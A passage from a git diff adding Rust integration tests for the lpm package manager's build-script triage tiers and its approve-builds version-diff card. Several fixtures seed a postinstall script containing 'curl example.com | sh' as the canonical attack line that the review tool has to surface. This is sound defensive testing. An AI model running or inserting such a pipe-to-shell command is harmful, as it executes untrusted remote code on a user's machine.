at the fixture root keeps the sandbox + // profile's `~/.cache` / `~/.node-gyp` / `~/.npm` rules + // scoped to the test's isolated tree. + .env("HOME", home) + .env("NO_COLOR", "1") + .env("LPM_NO_UPDATE_CHECK", "1") + .env("LPM_DISABLE_TELEMETRY", "1") + .env_remove("RUST_LOG") + .output() + .expect("failed to spawn lpm-rs"); + let stdout = String::from_utf8_lossy(&output.stdout).to_string(); + let stderr = String::from_utf8_lossy(&output.stderr).to_string(); + (output.status, stdout, stderr) +} + +/// UTF-8-safe ANSI-escape stripper. +fn strip_ansi(s: &str) -> String { + let mut out = String::with_capacity(s.len()); + let mut chars = s.chars().peekable(); + while let Some(c) = chars.next() { + if c == '\u{1b}' && chars.peek() == Some(&'[') { + chars.next(); + for cc in chars.by_ref() { + let cb = cc as u32; + if (0x40..=0x7e).contains(&cb) { + break; + } + } + } else { + out.push(c); + } + } + out +} + +/// Seed a synthetic package into `/.lpm/store/v1/`. `name` may +/// be scoped (e.g. `@lpm.dev/x`) or unscoped; scoped names get the +/// `/` → `+` rewrite the real store applies. When `postinstall` +/// references `build.js`, a no-op helper is seeded alongside +/// `package.json`. +fn seed_package(home: &Path, name: &str, version: &str, postinstall: &str) -> PathBuf { + let safe_name = name.replace(['/', '\\'], "+"); + let pkg_dir = home + .join(".lpm") + .join("store") + .join("v1") + .join(format!("{safe_name}@{version}")); + fs::create_dir_all(&pkg_dir).unwrap(); + fs::write( + pkg_dir.join("package.json"), + format!( + r#"{{"name":"{name}","version":"{version}","scripts":{{"postinstall":"{postinstall}"}}}}"#, + ), + ) + .unwrap(); + fs::write(pkg_dir.join(".integrity"), "sha512-fixture-skip-verify").unwrap(); + if postinstall.contains("build.js") { + fs::write(pkg_dir.join("build.js"), GREEN_BUILD_JS_BODY).unwrap(); + } + pkg_dir +} + +/// Write a minimal `lpm.lock` listing the given `(name, version)` +/// pairs. The TOML shape matches what the existing test fixtures +/// in `overrides_phase5_regression.rs` use — lockfile-version = 1 +/// + per-package `[[packages]]` blocks with no dependencies. +fn write_lockfile(project: &Path, packages: &[(&str, &str)]) { + let pkg_entries: Vec = packages + .iter() + .map(|(name, version)| { + format!( + r#"[[packages]] +name = "{name}" +version = "{version}" +"# + ) + }) + .collect(); + let toml = format!( + r#"[metadata] +lockfile-version = 1 +resolved-with = "pubgrub" + +{} +"#, + pkg_entries.join("\n") + ); + fs::write(project.join("lpm.lock"), toml).unwrap(); +} + +/// Detect whether the test environment has `node` on PATH. Tests +/// exercising real spawn (not just tier classification / dry-run) +/// skip when Node is missing rather than failing, so the suite +/// runs in minimal containers too. CI has Node installed for npm +/// tooling; developer machines typically do as well. +fn node_available() -> bool { + Command::new("node") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) +} + +/// Fixture project directory layout: the project itself lives under +/// `/project/`, and the store lives under `/.lpm/`. This +/// keeps the harness self-contained and lets tests drop `home` +/// without stepping on a sibling test's fixture. +struct Fixture { + _tmpdir: tempfile::TempDir, + home: PathBuf, + project: PathBuf, +} + +impl Fixture { + fn new(script_policy: Option<&str>) -> Self { + let tmpdir = tempfile::tempdir().unwrap(); + let home = tmpdir.path().to_path_buf(); + let project = home.join("project"); + fs::create_dir_all(&project).unwrap(); + let policy_block = match script_policy { + Some(p) => format!(r#""scriptPolicy": "{p}""#), + None => String::new(), + }; + fs::write( + project.join("package.json"), + format!( + r#"{{ + "name": "p6-fixture-project", + "version": "0.0.1", + "lpm": {{ + {policy_block} + }} + }}"# + ), + ) + .unwrap(); + Fixture { + _tmpdir: tmpdir, + home, + project, + } + } +} + +// ── Behavior tests ───────────────────────────────────────────────── + +/// §11 P6 ship criterion #1a — **default filter**. This is the hot +/// path `install.rs`'s auto-build invokes: plain `lpm build +/// --dry-run` with no `--all`, no named packages. The default +/// branch at [build.rs:251-256] filters `to_build` to only +/// `is_trusted` packages — under triage that means strict + scope + +/// green-tier-promoted. This test pins the triage green promotion +/// at the actual filter, NOT just at the label renderer. +/// +/// Without this test the Chunk 2 promotion could regress to a +/// labeling-only change (surface says "trusted" but filter still +/// excludes the package) without any unit test catching the gap, +/// because Chunks 2-3 unit tests exercise `evaluate_trust` and the +/// predicate in isolation — neither sees the default-build filter +/// composition. +#[test] +fn p6_chunk5_triage_default_dryrun_filter_keeps_only_green_promoted() { + let fx = Fixture::new(Some("triage")); + seed_package(&fx.home, "green-native", "1.0.0", GREEN_POSTINSTALL); + seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + seed_package(&fx.home, "red-curlpipe", "1.0.0", RED_POSTINSTALL); + write_lockfile( + &fx.project, + &[ + ("green-native", "1.0.0"), + ("amber-playwright", "1.0.0"), + ("red-curlpipe", "1.0.0"), + ], + ); + + let (status, stdout, stderr) = run_lpm(&fx.project, &fx.home, &["build", "--dry-run"]); + let stdout = strip_ansi(&stdout); + let stderr = strip_ansi(&stderr); + + assert!( + status.success(), + "build --dry-run must exit 0 under triage. stdout={stdout}\nstderr={stderr}" + ); + + // The dry-run prints "Dry run: N package(s) would be built:" + // followed by per-package blocks. Under the default filter, + // only packages whose `is_trusted` survived `evaluate_trust` + // are listed. For this fixture that's exactly the green- + // promoted entry. + assert!( + stdout.contains("green-native"), + "green-native must appear in default-filter dry-run — \ + triage green promotion should survive `build::run`'s \ + trust filter, not just its label renderer. stdout={stdout}" + ); + assert!( + stdout.contains("green-tier auto-approval"), + "the green-tier suffix must render when the package passes \ + through the default filter. stdout={stdout}" + ); + assert!( + !stdout.contains("amber-playwright"), + "amber-playwright must NOT appear in default-filter dry-run \ + — the Chunk 2 promotion is green-only. stdout={stdout}" + ); + assert!( + !stdout.contains("red-curlpipe"), + "red-curlpipe must NOT appear in default-filter dry-run. \ + stdout={stdout}" + ); +} + +/// §11 P6 ship criterion #1b — **label rendering under `--all`**. +/// The `--all` branch widens `to_build` to every scriptable +/// package regardless of trust, so amber/red appear in the output +/// too. This test covers the labeling contract: greens render with +/// the "(green-tier auto-approval)" suffix; ambers/reds render as +/// "not trusted" even though they're listed. Complements the +/// default-filter test above — that one proves the filter, this +/// one proves the renderer annotates the tier-promotion basis for +/// every row it shows. +#[test] +fn p6_chunk5_triage_all_dryrun_labels_green_with_promotion_suffix() { + let fx = Fixture::new(Some("triage")); + seed_package(&fx.home, "green-native", "1.0.0", GREEN_POSTINSTALL); + seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + seed_package(&fx.home, "red-curlpipe", "1.0.0", RED_POSTINSTALL); + write_lockfile( + &fx.project, + &[ + ("green-native", "1.0.0"), + ("amber-playwright", "1.0.0"), + ("red-curlpipe", "1.0.0"), + ], + ); + + let (status, stdout, stderr) = run_lpm(&fx.project, &fx.home, &["build", "--dry-run", "--all"]); + let stdout = strip_ansi(&stdout); + let stderr = strip_ansi(&stderr); + + assert!( + status.success(), + "build --dry-run --all must exit 0. stdout={stdout}\nstderr={stderr}" + ); + + // All three packages are in the output (--all bypasses the + // trust filter at selection time). + assert!(stdout.contains("green-native"), "stdout={stdout}"); + assert!(stdout.contains("amber-playwright"), "stdout={stdout}"); + assert!(stdout.contains("red-curlpipe"), "stdout={stdout}"); + + // Green: trusted with the Chunk 2 "(green-tier auto-approval)" + // suffix — proves `evaluate_trust` returned `GreenTierUnderTriage` + // and the dry-run label renderer inspected `trust_reason`. + assert!( + stdout.contains("green-tier auto-approval"), + "green-native must carry the Chunk 2 green-tier suffix — \ + the suffix is the renderer's signal that a non-binding, \ + non-scope package was auto-promoted. stdout={stdout}" + ); + + // Amber + red render as `not trusted` even under --all — tier + // promotion is green-only. + let not_trusted_count = stdout.matches("not trusted").count(); + assert!( + not_trusted_count >= 2, + "amber + red must both show as `not trusted` under triage \ + (tier promotion is green-only). stdout={stdout}" + ); +} + +/// §11 P6 ship criterion #2: same install leaves amber/red in +/// build-state.json with a clear pointer. We test this via the +/// default `lpm build` path (no `--all`, no `--dry-run`), which is +/// what install.rs's auto-build invokes. +#[test] +fn p6_chunk5_triage_default_build_points_at_approve_builds_for_blocked() { + let fx = Fixture::new(Some("triage")); + let green_dir = seed_package(&fx.home, "green-native", "1.0.0", GREEN_POSTINSTALL); + let amber_dir = seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + let red_dir = seed_package(&fx.home, "red-curlpipe", "1.0.0", RED_POSTINSTALL); + write_lockfile( + &fx.project, + &[ + ("green-native", "1.0.0"), + ("amber-playwright", "1.0.0"), + ("red-curlpipe", "1.0.0"), + ], + ); + + let (_status, _stdout, stderr) = run_lpm(&fx.project, &fx.home, &["build"]); + let stderr = strip_ansi(&stderr); + + // Amber + red markers must NOT be present — tier classification + // kept them out of the build set regardless of sandbox outcome. + assert!( + !amber_dir.join(".lpm-built").exists(), + "amber package must not auto-build under triage — amber \ + requires explicit review" + ); + assert!( + !red_dir.join(".lpm-built").exists(), + "red package must never auto-build" + ); + + // The Chunk 1 pointer ("Run `lpm approve-builds` to review + // blocked packages.") fires only when the skipped-count is > 0. + // With 2 non-green packages in the install, the count is 2 and + // the pointer must appear on stderr. + assert!( + stderr.contains("lpm approve-builds"), + "Chunk 1 triage pointer must appear on stderr when amber/red \ + remain. stderr={stderr}" + ); + assert!( + stderr.contains("2 package(s) are not in trustedDependencies"), + "the skipped-count line must name 2 skipped packages \ + (amber + red). stderr={stderr}" + ); + + // The green marker check is best-effort — if `node` is absent + // on the runner, the spawn fails and no marker is written. The + // P6 contract test above (trust decision + classification) is + // the load-bearing assertion; the real-execution assertion is + // a bonus that only fires when the toolchain is present. + if node_available() { + assert!( + green_dir.join(".lpm-built").exists(), + "with node available, the green-tier postinstall must \ + complete successfully under triage + sandbox. stderr={stderr}" + ); + } +} + +/// Control: under `"deny"`, the same fixture produces NO tier +/// promotion. The green-tier classification still happens (the +/// classifier is policy-agnostic), but `evaluate_trust` returns +/// `Untrusted` and the package is skipped. Pins that the messaging +/// swap from Chunk 1 is policy-gated. +#[test] +fn p6_chunk5_deny_skips_all_packages_and_keeps_legacy_pointer() { + let fx = Fixture::new(Some("deny")); + seed_package(&fx.home, "green-native", "1.0.0", GREEN_POSTINSTALL); + seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + write_lockfile( + &fx.project, + &[("green-native", "1.0.0"), ("amber-playwright", "1.0.0")], + ); + + let (status, _stdout, stderr) = run_lpm(&fx.project, &fx.home, &["build"]); + let stderr = strip_ansi(&stderr); + + assert!(status.success(), "build must exit 0 under deny too"); + // Deny keeps the pre-P6 "Add them to trustedDependencies" + // pointer — Chunk 1 only rewrote the pointer under triage. + assert!( + stderr.contains("package.json > lpm > trustedDependencies") + || stderr.contains("lpm build --all"), + "deny mode must keep the legacy manifest-edit pointer — \ + pointing deny users at approve-builds would bypass the \ + strict-review contract. stderr={stderr}" + ); + assert!( + !stderr.contains("Run `lpm approve-builds` to review"), + "deny mode must NOT emit the triage-specific pointer" + ); +} + +/// §5.3 JSON row: `lpm build --json` under triage emits valid JSON +/// on stdout and the Chunk 4 stream-separation invariant holds — +/// no human pointer text bleeds into stdout (which would break +/// `JSON.parse`). +#[test] +fn p6_chunk5_triage_json_separates_streams() { + let fx = Fixture::new(Some("triage")); + seed_package(&fx.home, "green-native", "1.0.0", GREEN_POSTINSTALL); + seed_package(&fx.home, "amber-playwright", "1.0.0", AMBER_POSTINSTALL); + write_lockfile( + &fx.project, + &[("green-native", "1.0.0"), ("amber-playwright", "1.0.0")], + ); + + let (_status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "build", "--dry-run", "--all"], + ); + let stdout = strip_ansi(&stdout); + + // Stdout must be valid JSON — if an approve-builds pointer + // bled onto stdout (the bug Chunk 4 pinned via + // `p6_chunk4_pointer_silent_in_json_mode`), this parse fails + // and the test reports the exact offending shape. + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap_or_else(|e| { + panic!( + "build --json --dry-run stdout must be parseable JSON. \ + Parse error: {e}\nStdout:\n{stdout}" + ) + }); + let packages = parsed + .get("packages") + .and_then(|v| v.as_array()) + .expect("build --json dry-run JSON must expose `packages` array"); + assert_eq!( + packages.len(), + 2, + "both fixture packages must appear in the JSON dry-run output" + ); +} diff --git a/crates/lpm-cli/tests/p7_version_diff_reference.rs b/crates/lpm-cli/tests/p7_version_diff_reference.rs new file mode 100644 index 00000000..c7dceb1d --- /dev/null +++ b/crates/lpm-cli/tests/p7_version_diff_reference.rs @@ -0,0 +1,625 @@ +//! Phase 46 P7 Chunk 5 — reference-fixture integration tests. +//! +//! These tests are the §11 P7 ship-criteria gate at the CLI level: +//! +//! 1. **Script-hash drift surfaces the exact added line** — updating +//! a package whose postinstall added `curl example.com | sh` +//! between approved v1 and candidate v2 must surface that exact +//! line in `lpm approve-builds` output **before any execution**. +//! The unified-diff section (rendered via `diffy`) is the wire +//! contract. +//! +//! 2. **Behavioral-tag delta surfaces the gained tags** — when v2 +//! adds `network` and `eval` to a package that previously had only +//! `crypto`, the install-time and approve-builds outputs must show +//! `+ network` and `+ eval`. The terse hint, the human card, and +//! the JSON enrichment all surface this. +//! +//! ## Why subprocess + the approve-builds path +//! +//! The C2 install render path can't be exercised end-to-end without +//! a real `lpm install` run (which requires lockfile-validated +//! integrity against a registry — the P6 harness comment explains +//! the same blocker). The diff-rendering CONTRACT is identical +//! between the install pre-autobuild card and the approve-builds +//! TUI card (both call `render_preflight_card`); the C5 fixture +//! therefore exercises the contract through `lpm approve-builds +//! --list` (human + JSON), which lands the same render at the +//! exact byte level the install path would. +//! +//! Pure-decision proofs of both ship criteria live in +//! `crate::version_diff::tests` (`render_preflight_card_*`) and +//! `commands::install::tests` (`p7_post_install_hints_*`). C5 is the +//! end-to-end subprocess proof: real binary, real fd separation, +//! real LpmRoot resolution, real store/manifest/build-state read +//! pipeline. + +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::Command; + +// ── Harness ──────────────────────────────────────────────────────── +// +// Mirrors `p6_triage_autoexec_reference.rs`'s shape so a future +// reader has one mental model for "Phase 46 P-N reference fixture." +// Differences from P6: this fixture seeds TWO versions of one +// package (the prior + the candidate) and an explicit +// build-state.json that claims the candidate is blocked, since we +// can't drive the real install path that would have written it. + +fn run_lpm(cwd: &Path, home: &Path, args: &[&str]) -> (std::process::ExitStatus, String, String) { + let exe = env!("CARGO_BIN_EXE_lpm-rs"); + let output = Command::new(exe) + .args(args) + .current_dir(cwd) + .env("LPM_HOME", home.join(".lpm")) + .env("HOME", home) + .env("NO_COLOR", "1") + .env("LPM_NO_UPDATE_CHECK", "1") + .env("LPM_DISABLE_TELEMETRY", "1") + .env_remove("RUST_LOG") + .output() + .expect("failed to spawn lpm-rs"); + let stdout = String::from_utf8_lossy(&output.stdout).to_string(); + let stderr = String::from_utf8_lossy(&output.stderr).to_string(); + (output.status, stdout, stderr) +} + +fn strip_ansi(s: &str) -> String { + let mut out = String::with_capacity(s.len()); + let mut chars = s.chars().peekable(); + while let Some(c) = chars.next() { + if c == '\u{1b}' && chars.peek() == Some(&'[') { + chars.next(); + for cc in chars.by_ref() { + let cb = cc as u32; + if (0x40..=0x7e).contains(&cb) { + break; + } + } + } else { + out.push(c); + } + } + out +} + +/// Seed a synthetic package version into `/.lpm/store/v1/` +/// with `name@version/package.json` containing the given +/// `postinstall` body. +/// +/// `name` may be scoped or unscoped; scoped names get the +/// `/` → `+` rewrite the real store applies. Returns the package +/// directory so callers can inspect / further-decorate it. +fn seed_package(home: &Path, name: &str, version: &str, postinstall: &str) -> PathBuf { + let safe_name = name.replace(['/', '\\'], "+"); + let pkg_dir = home + .join(".lpm") + .join("store") + .join("v1") + .join(format!("{safe_name}@{version}")); + fs::create_dir_all(&pkg_dir).unwrap(); + fs::write( + pkg_dir.join("package.json"), + format!( + r#"{{"name":"{name}","version":"{version}","scripts":{{"postinstall":{}}}}}"#, + serde_json::Value::String(postinstall.into()) + ), + ) + .unwrap(); + fs::write(pkg_dir.join(".integrity"), "sha512-fixture-skip-verify").unwrap(); + pkg_dir +} + +/// Synthesize a `/.lpm/build-state.json` with one blocked +/// entry — the candidate version we want `lpm approve-builds` to +/// surface a diff for. The fields are the post-Phase-46-P1+P7 shape: +/// +/// - `script_hash` distinguishes drift from no-change (the diff core +/// compares this against the binding's stored hash). +/// - `behavioral_tags` + `behavioral_tags_hash` populate the +/// candidate side of the tag-diff dimension. Pass `None` to leave +/// the dimension empty. +/// - `static_tier` is `"green"` so the entry would auto-execute +/// under triage+autoBuild — matching the install-time scenario +/// the diff card protects. +fn write_blocked_build_state( + project: &Path, + name: &str, + version: &str, + script_hash: &str, + behavioral_tags: Option<&[&str]>, + behavioral_tags_hash: Option<&str>, +) { + fs::create_dir_all(project.join(".lpm")).unwrap(); + let tags_block = match (behavioral_tags, behavioral_tags_hash) { + (Some(tags), Some(hash)) => format!( + r#""behavioral_tags": {}, "behavioral_tags_hash": "{}","#, + serde_json::to_string(tags).unwrap(), + hash, + ), + _ => String::new(), + }; + let body = format!( + r#"{{ + "state_version": 1, + "blocked_set_fingerprint": "sha256-fixture-stable", + "captured_at": "2026-04-22T00:00:00Z", + "blocked_packages": [ + {{ + "name": "{name}", + "version": "{version}", + "integrity": "sha512-fixture-skip-verify", + "script_hash": "{script_hash}", + "phases_present": ["postinstall"], + "binding_drift": false, + "static_tier": "green", + {tags_block} + "published_at": "2026-04-22T00:00:00Z" + }} + ] + }}"# + ); + fs::write(project.join(".lpm").join("build-state.json"), body).unwrap(); +} + +/// Write a `package.json` with a `trustedDependencies` rich entry for +/// the **prior** approved version. The keys mirror the on-disk wire +/// shape per `lpm-workspace::TrustedDependencyBinding`'s serde +/// renames: `scriptHash`, `behavioralTagsHash`, `behavioralTags`. +fn write_project_with_prior_binding( + project: &Path, + pkg_name: &str, + prior_version: &str, + prior_script_hash: &str, + prior_behavioral_tags: Option<&[&str]>, + prior_behavioral_tags_hash: Option<&str>, +) { + let prior_tags_block = match (prior_behavioral_tags, prior_behavioral_tags_hash) { + (Some(tags), Some(hash)) => format!( + r#","behavioralTagsHash":"{}","behavioralTags":{}"#, + hash, + serde_json::to_string(tags).unwrap(), + ), + _ => String::new(), + }; + let body = format!( + r#"{{ + "name": "p7-fixture-project", + "version": "0.0.1", + "lpm": {{ + "trustedDependencies": {{ + "{pkg_name}@{prior_version}": {{ + "integrity": "sha512-fixture-skip-verify", + "scriptHash": "{prior_script_hash}" + {prior_tags_block} + }} + }} + }} + }}"# + ); + fs::write(project.join("package.json"), body).unwrap(); +} + +struct Fixture { + _tmpdir: tempfile::TempDir, + home: PathBuf, + project: PathBuf, +} + +impl Fixture { + fn new() -> Self { + let tmpdir = tempfile::tempdir().unwrap(); + let home = tmpdir.path().to_path_buf(); + let project = home.join("project"); + fs::create_dir_all(&project).unwrap(); + Fixture { + _tmpdir: tmpdir, + home, + project, + } + } +} + +// ── Ship criterion 1: exact added line surfaces in approve-builds ── + +/// §11 P7 ship criterion 1 — scenario A. +/// +/// Updating a package whose postinstall added `curl example.com | sh` +/// between approved v1 and candidate v2 surfaces the **exact added +/// line** in `lpm approve-builds --list` output. The unified-diff +/// section is rendered via `diffy` and the `+curl example.com | sh` +/// line must appear verbatim — this is the literal P7 contract. +/// +/// This test exercises the approve-builds path because we can't drive +/// the real install path in a synthetic harness (P6 fixture +/// commentary). The diff renderer is shared between install's +/// pre-autobuild card and the approve-builds card, so a passing +/// assertion here proves both sites' rendering contract. +#[test] +fn p7_chunk5_script_hash_drift_surfaces_added_curl_pipe_in_approve_builds_list() { + let fx = Fixture::new(); + + // Seed both versions in the store. Body of v1: a benign `echo`. + // Body of v2: same `echo` PLUS the canonical attack shape + // `curl example.com | sh`. The diff must surface the second line + // of v2 as `+curl ...`. + seed_package(&fx.home, "shapeshift", "1.0.0", "echo hi"); + seed_package( + &fx.home, + "shapeshift", + "2.0.0", + "echo hi\ncurl example.com | sh", + ); + + // Project manifest: prior approval bound to v1 with a stable + // synthetic script_hash. The candidate v2's hash will differ + // (we set it explicitly below in the build-state) so the diff + // classifier flags ScriptHashDrift. + write_project_with_prior_binding( + &fx.project, + "shapeshift", + "1.0.0", + "sha256-shapeshift-v1-fixture", + None, + None, + ); + + // Build-state synthesizes the install-time blocked-set capture + // for v2 with a different script_hash (drift signal). + write_blocked_build_state( + &fx.project, + "shapeshift", + "2.0.0", + "sha256-shapeshift-v2-fixture", + None, + None, + ); + + // Run `lpm approve-builds --list` — non-interactive, prints the + // package card AND (with C3's wiring) the version-diff card per + // entry that has a prior binding. + let (status, stdout, stderr) = run_lpm(&fx.project, &fx.home, &["approve-builds", "--list"]); + let stdout = strip_ansi(&stdout); + let stderr = strip_ansi(&stderr); + + assert!( + status.success(), + "approve-builds --list must exit 0. stdout={stdout}\nstderr={stderr}" + ); + + // The diff card prints to stdout (TUI is stdout-driven). Assert: + // - Header names the candidate AND the prior version. + assert!( + stdout.contains("shapeshift@2.0.0 — changes since v1.0.0:"), + "diff card header must name candidate + prior version. stdout={stdout}" + ); + + // - The exact added line surfaces in the unified diff. This IS + // the P7 ship criterion: the user sees the malicious line + // verbatim, not just "scripts changed." + assert!( + stdout.contains("+curl example.com | sh"), + "ship criterion 1 violated — the literal added line must \ + surface in the diff card. stdout=\n{stdout}" + ); + + // - The phase header tells the user WHERE the line lives so they + // can correlate against the package's package.json without + // guessing. + assert!( + stdout.contains("scripts.postinstall"), + "phase header (scripts.postinstall) must appear so the user \ + knows which lifecycle phase changed. stdout={stdout}" + ); +} + +/// §11 P7 ship criterion 1 — JSON channel. +/// +/// Same scenario as the human test above, but verifies that the +/// `--json` machine channel carries a structured `version_diff` +/// object with `reason: "script-hash-drift"` so agents can route +/// without parsing the human card. +#[test] +fn p7_chunk5_script_hash_drift_emits_structured_version_diff_in_json() { + let fx = Fixture::new(); + seed_package(&fx.home, "shapeshift", "1.0.0", "echo hi"); + seed_package( + &fx.home, + "shapeshift", + "2.0.0", + "echo hi\ncurl example.com | sh", + ); + write_project_with_prior_binding( + &fx.project, + "shapeshift", + "1.0.0", + "sha256-shapeshift-v1-fixture", + None, + None, + ); + write_blocked_build_state( + &fx.project, + "shapeshift", + "2.0.0", + "sha256-shapeshift-v2-fixture", + None, + None, + ); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--list"], + ); + let stdout = strip_ansi(&stdout); + assert!(status.success()); + + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap_or_else(|e| { + panic!( + "approve-builds --list --json stdout must be parseable JSON. \ + Parse error: {e}\nStdout:\n{stdout}" + ) + }); + + // SCHEMA_VERSION 3 expected (P7 Chunk 4 bump). + assert_eq!(parsed["schema_version"].as_u64(), Some(3)); + + let blocked = parsed["blocked"] + .as_array() + .expect("blocked must be an array"); + assert_eq!(blocked.len(), 1, "exactly one blocked entry expected"); + let entry = &blocked[0]; + assert_eq!(entry["name"], serde_json::json!("shapeshift")); + assert_eq!(entry["version"], serde_json::json!("2.0.0")); + + let vd = &entry["version_diff"]; + assert!( + vd.is_object(), + "version_diff must be an object when prior binding exists. entry={entry}" + ); + assert_eq!(vd["reason"], serde_json::json!("script-hash-drift")); + assert_eq!(vd["prior_version"], serde_json::json!("1.0.0")); + assert_eq!(vd["candidate_version"], serde_json::json!("2.0.0")); + assert_eq!(vd["script_hash_drift"], serde_json::json!(true)); + assert!(vd["behavioral_tags_added"].is_null()); + assert!(vd["behavioral_tags_removed"].is_null()); + assert!(vd["provenance_drift_kind"].is_null()); +} + +// ── Ship criterion 2: behavioral tag delta surfaces ──────────────── + +/// §11 P7 ship criterion 2. +/// +/// Updating a package whose behavioral tags gained `network` and +/// `eval` between approved v1 and candidate v2 surfaces both gained +/// tags in the human diff card. The prior version had only +/// `crypto`; the candidate has `crypto + eval + network`. The diff +/// card must name `+ eval` and `+ network` explicitly so the user +/// sees the security-posture shift, not just "tags changed." +/// +/// Same store package.json bodies between v1 and v2 (no script +/// drift) so this test isolates the tag dimension and proves the +/// tag-only renderer fires correctly. +#[test] +fn p7_chunk5_behavioral_tag_drift_surfaces_gained_network_and_eval_in_card() { + let fx = Fixture::new(); + // Same script body on both sides — only the metadata-derived + // tag set drifts. (In production the tags come from the + // registry's server-computed analysis; the diff core compares + // the persisted name set.) + seed_package(&fx.home, "creep", "1.0.0", "node build.js"); + seed_package(&fx.home, "creep", "2.0.0", "node build.js"); + + write_project_with_prior_binding( + &fx.project, + "creep", + "1.0.0", + "sha256-creep-script-same", + Some(&["crypto"]), + Some("sha256-creep-tags-v1"), + ); + write_blocked_build_state( + &fx.project, + "creep", + "2.0.0", + "sha256-creep-script-same", + Some(&["crypto", "eval", "network"]), + Some("sha256-creep-tags-v2"), + ); + + let (status, stdout, stderr) = run_lpm(&fx.project, &fx.home, &["approve-builds", "--list"]); + let stdout = strip_ansi(&stdout); + let stderr = strip_ansi(&stderr); + assert!( + status.success(), + "approve-builds --list must exit 0. stdout={stdout}\nstderr={stderr}" + ); + + // Header names candidate + prior. + assert!( + stdout.contains("creep@2.0.0 — changes since v1.0.0:"), + "diff card header missing. stdout={stdout}" + ); + + // Behavioral-tag section uses `+ ` for gained tags. The + // ordering matches `active_tag_names()` (sorted lex) — so eval + // appears before network in the card. + assert!( + stdout.contains("+ eval"), + "ship criterion 2 violated — `+ eval` must appear when the \ + candidate gained the eval tag. stdout=\n{stdout}" + ); + assert!( + stdout.contains("+ network"), + "ship criterion 2 violated — `+ network` must appear when \ + the candidate gained the network tag. stdout=\n{stdout}" + ); + + // No "Script content changed" header — the script bodies match, + // so only the tag section should render. Pin so a regression + // that emits a misleading empty script-diff doesn't sneak in. + assert!( + !stdout.contains("Script content changed"), + "tag-only drift must NOT emit a script-content section when \ + the bodies are identical. stdout={stdout}" + ); +} + +/// §11 P7 ship criterion 2 — JSON channel. +/// +/// `--json` carries the gained / lost tag arrays so agents can route +/// on the tag delta without parsing the human card. +#[test] +fn p7_chunk5_behavioral_tag_drift_emits_gained_arrays_in_json() { + let fx = Fixture::new(); + seed_package(&fx.home, "creep", "1.0.0", "node build.js"); + seed_package(&fx.home, "creep", "2.0.0", "node build.js"); + write_project_with_prior_binding( + &fx.project, + "creep", + "1.0.0", + "sha256-creep-script-same", + Some(&["crypto"]), + Some("sha256-creep-tags-v1"), + ); + write_blocked_build_state( + &fx.project, + "creep", + "2.0.0", + "sha256-creep-script-same", + Some(&["crypto", "eval", "network"]), + Some("sha256-creep-tags-v2"), + ); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--list"], + ); + let stdout = strip_ansi(&stdout); + assert!(status.success()); + + let parsed: serde_json::Value = serde_json::from_str(stdout.trim()) + .unwrap_or_else(|e| panic!("invalid JSON: {e}\nstdout:\n{stdout}")); + + let entry = &parsed["blocked"][0]; + let vd = &entry["version_diff"]; + assert_eq!(vd["reason"], serde_json::json!("behavioral-tag-shift")); + assert_eq!(vd["script_hash_drift"], serde_json::json!(false)); + // Gained tags surface as a JSON array in lex order. + assert_eq!( + vd["behavioral_tags_added"], + serde_json::json!(["eval", "network"]), + "agents read tags_added as an array; the gained-only case \ + must produce `[eval, network]`. vd={vd}" + ); + // Tag dimension drifted, but nothing was lost — empty array, + // NOT null. (Empty array means \"dimension drifted, no losses\"; + // null means \"dimension didn't drift.\" Agents need this distinction.) + assert_eq!( + vd["behavioral_tags_removed"], + serde_json::json!([]), + "behavioral_tags_removed must be `[]` (not null) — the tag \ + dimension drifted, just with no losses. vd={vd}" + ); +} + +// ── Stream separation control ────────────────────────────────────── + +/// Pin that the `--list --json` path produces ONE valid JSON document +/// on stdout, regardless of how many blocked entries have prior +/// bindings producing diff data. This is the agent-facing +/// stream-separation contract for P7 (matches the P6 Chunk 5 +/// stream-separation pin for the post-auto-build pointer). +#[test] +fn p7_chunk5_list_json_stays_parseable_with_version_diff_enrichment() { + let fx = Fixture::new(); + seed_package(&fx.home, "shapeshift", "1.0.0", "echo hi"); + seed_package( + &fx.home, + "shapeshift", + "2.0.0", + "echo hi\ncurl example.com | sh", + ); + write_project_with_prior_binding(&fx.project, "shapeshift", "1.0.0", "sha256-v1", None, None); + write_blocked_build_state(&fx.project, "shapeshift", "2.0.0", "sha256-v2", None, None); + + let (status, stdout, _stderr) = run_lpm( + &fx.project, + &fx.home, + &["--json", "approve-builds", "--list"], + ); + let stdout = strip_ansi(&stdout); + assert!(status.success()); + + // Stdout MUST be exactly one parseable JSON document — no human + // card text bleeding into the machine channel. If a regression + // accidentally routed `print_version_diff_card_for_blocked`'s + // println! through stdout in JSON mode, this parse fails with + // the offending shape printed for diagnosis. + let _: serde_json::Value = serde_json::from_str(stdout.trim()).unwrap_or_else(|e| { + panic!( + "stream separation broken — stdout under --json must be \ + one parseable JSON document. Parse error: {e}\nstdout:\n{stdout}" + ) + }); +} + +// ── No-prior-binding control ─────────────────────────────────────── + +/// First-time review (no prior binding for the same package name) +/// must NOT render a diff card and must emit `version_diff: null` in +/// the JSON. This is the C1 contract `latest_binding_for_name` +/// returns None for, surfaced through both UX paths. +#[test] +fn p7_chunk5_first_time_review_emits_null_version_diff_and_no_card() { + let fx = Fixture::new(); + // Only the candidate version is in the store; no prior version + // exists. + seed_package(&fx.home, "first-timer", "1.0.0", "node build.js"); + // Project manifest has NO trustedDependencies entry for this + // package — first-time review shape. + fs::write( + fx.project.join("package.json"), + r#"{ + "name": "p7-fixture-project", + "version": "0.0.1", + "lpm": {} + }"#, + ) + .unwrap(); + write_blocked_build_state( + &fx.project, + "first-timer", + "1.0.0", + "sha256-first-timer", + None, + None, + ); + + // Human path: `--list` MUST NOT print a "changes since v..." + // header (no prior to compare against). + let (status, stdout, _stderr) = run_lpm(&fx.project, &fx.home, 